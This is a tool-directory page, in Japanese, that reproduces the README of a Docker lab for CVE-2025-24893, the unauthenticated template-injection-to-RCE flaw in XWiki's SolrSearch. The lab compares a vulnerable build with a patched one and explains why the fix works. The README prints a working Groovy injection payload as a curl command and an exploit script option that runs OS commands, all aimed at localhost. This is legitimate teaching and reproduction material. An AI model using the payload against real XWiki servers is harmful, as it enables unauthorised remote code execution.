Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-24893_Analysis — XWiki SolrSearch の未認証 SSTI-to-RCE である CVE-2025-24893 を再現し、脆弱な状態とパッチ適用済みの状態の動作を比較する、自己完結型の Docker ラボです。 | Kitploit
ツール/GitHubGitHub/mattiacervelli/cve-2025-24893_analysis
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育ラボと実践

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
mattiacervelli/cve-2025-24893_analysis

CVE-2025-24893_Analysis

XWiki SolrSearch の未認証 SSTI-to-RCE である CVE-2025-24893 を再現し、脆弱な状態とパッチ適用済みの状態の動作を比較する、自己完結型の Docker ラボです。

リポジトリを見る
21時間54分前未レビュー

CVE-2025-24893 - XWiki SolrSearch SSTI から認証なしRCEへ

CVE-2025-24893 を再現する自己完結型のDockerラボです。この脆弱性は XWiki の SolrSearch RSS フィードにおけるサーバーサイドテンプレートインジェクションで、認証なしのリモートコード実行につながります。脆弱性のあるバージョン 15.10.10 と修正済みバージョン 15.10.11 の両方を実行するため、同じリクエストが一方では成功し、もう一方では失敗することを示せます。

AIツールの使用に関する注記。 このプロジェクトの準備にあたり、私は2つのAIアシスタント --- AnthropicのClaude Opus 4.8 と DeepSeek-V4-Flash-0731 --- を、ドキュメントとアプローチの調査、コードレビュー、README.md ファイルと LaTeX レポートの文言の推敲のために限定的に使用しました。それらの貢献はごくわずかで、私自身の判断に厳密に従属するものでした。

1. 前提条件

  • Docker Engine と Docker Compose v2(古い docker-compose バイナリではなく docker compose サブコマンド)。レポート用に docker --version と docker compose version でバージョンを記録してください。
  • XWiki コンテナ用に約2GBの空きRAM(JVMヒープは1GBに設定)と MySQL が必要です。
  • amd64 と arm64(Apple Silicon を含む)で動作します:ベースイメージ tomcat:9-jre17、mysql:8.4、純JavaのJDBCドライバはすべてマルチアーキテクチャ対応です。
  • インターネットアクセスが必要なのは初回ビルド時のみです。XWiki WAR と JDBC ドライバをダウンロードするためで、両方ともチェックサムで検証されます。

2. 構成

root@kitploit:~
cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml       # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
├── docker-compose.patched.yml    # MySQL 8.4 + XWiki 15.10.11 (patched)
├── exploit.py                    # standard-library proof of concept
├── figures/
│   ├── Figure 1.png
│   ├── Figure 2.png
│   ├── Figure 3.png
│   └── Figure 4.png
├── mysql/
│   └── init.sql                  # privileges for the xwiki DB user
└── xwiki-build/                  # image build, pinned to the exact version by SHA-256
    ├── Dockerfile
    ├── tomcat/
    │   └── setenv.sh
    └── xwiki/
        ├── docker-entrypoint.sh
        └── hibernate.cfg.xml

2つのスタックの唯一の違いは XWiki のバージョンです。データベースイメージや JDBC ドライバを含む他のすべては同一であるため、動作の変化は修正によるものであり、それ以外に原因はありません。

3. 脆弱性の再現(15.10.10)

ビルドして起動:

root@kitploit:~
docker compose -f docker-compose.vuln.yml up --build -d

初回ビルドは XWiki のダウンロードと展開を行うため、数分かかります。Tomcat が起動を報告するのを待ちます:

root@kitploit:~
docker compose -f docker-compose.vuln.yml logs -f xwiki   # wait for "Server startup in ..."

一度きりの初回起動セットアップを完了させます:http://localhost:8080 を開き、Distribution Wizard を完了させます(デフォルトの XWiki Standard flavor をインストール)。これにより、エクスプロイトの標的となる SolrSearch UI がプロビジョニングされます。エンドポイントはゲストから到達可能なため、攻撃自体にはログインは不要です。ログインが必要なのはこの初期セットアップだけです。

エクスプロイトを実行します(認証なし):

root@kitploit:~
python3 exploit.py http://localhost:8080

脆弱なスタックでの期待される出力:

root@kitploit:~
[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.

オプションとして、読み取り専用コマンドで実行が OS に到達することを示せます:

root@kitploit:~
python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...

同じリクエストをプレーンな curl ワンライナーで:

root@kitploit:~
curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42

レポート用に出力のスクリーンショットを撮ってから、停止します:

root@kitploit:~
docker compose -f docker-compose.vuln.yml down          # add -v to also wipe the volumes

4. 修正の再現(15.10.11)

root@kitploit:~
docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki   # wait for "Server startup in ..."

http://localhost:8080 で Distribution Wizard をもう一度完了させてから、同一のエクスプロイトを実行します:

root@kitploit:~
python3 exploit.py http://localhost:8080

修正済みスタックでの期待される出力:

root@kitploit:~
[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).

このスクリーンショットも撮ってから、リセットします:

root@kitploit:~
docker compose -f docker-compose.patched.yml down -v

修正が機能する理由

15.10.10 では、フィード出力ブロックはフィードを裸の Velocity 式($xwiki.feed.getFeedOutput($feed, 'rss_2.0'))として出力します。そのため、ユーザーの検索テキストを反映するフィードは XWiki のレンダリングパイプラインに戻されて渡され、埋め込まれた {{groovy}} マクロが実行されます。15.10.11 では、そのブロックは新しい rawResponse マクロ(SolrSearchMacros.xml の954行目、マクロは templates/macros.vm で定義)への呼び出しに置き換えられました。rawResponse はコンテンツタイプを明示的に設定し(application/rss+xml)、$response.writer.print(...) でフィードのバイトをレスポンスに直接書き込み、$xcontext.setFinished(true) を呼び出して以降のレンダリングをすべて停止します。そのためフィードはそのまま送信され、埋め込まれた {{groovy}} ブロックが評価されることはありません。修正コミットは 67021db9b8ed26c2236a653269302a86bf01ef40、アドバイザリは GHSA-rr6p-3pfg-562j です。アドバイザリには手動の回避策も記載されています:Main.SolrSearchMacros を編集して同じ rawResponse パターンを使用すれば、アップグレードなしでシンクを塞げます。

5. 決定性とリセット

  • 固定されているもの:XWiki のバージョン(15.10.10 と 15.10.11)、WAR と JDBC の SHA-256 チェックサム、ベースイメージ tomcat:9-jre17、データベース mysql:8.4、ポート 8080。
  • docker compose -f <file> down -v で状態をリセットします。次の up でゼロから再初期化されます。
  • 認証情報(xwiki/xwiki、root xwiki-root)はこのローカルラボ専用です。
  • 2つのスタックは異なる Compose プロジェクト名を使用するため、ボリュームが衝突することはありません。両方ともポート 8080 を公開するため、同時に実行しないでください。

6. 固定されたチェックサムを自分で検証する

root@kitploit:~
for V in 15.10.10 15.10.11; do
  curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
  echo "$V  $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
#         15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c

curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0  $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5

帰属

xwiki-build/(Dockerfile、docker-entrypoint.sh、hibernate.cfg.xml、setenv.sh)と mysql/init.sql は、XWiki 公式ビルド https://github.com/xwiki-contrib/docker-xwiki(LGPL-2.1)から翻案またはベンダリングされたものです。Dockerfile は上流イメージと、文書化された3つの小さな点で異なります:(1) XWiki と JDBC のバージョンとチェックサムがビルド引数として渡されるため、1つのファイルで脆弱なイメージと修正済みイメージの両方をビルドできます;(2) 明示的な chmod +x により、ファイルの解凍や転送で Unix パーミッションが失われてもエントリポイントが実行可能であることを保証します;(3) ここでは使用されない .env ファイルを参照していた古い上流のコメントが修正されました。XWiki は XWiki Development Team の著作物です。

ツールをダウンロード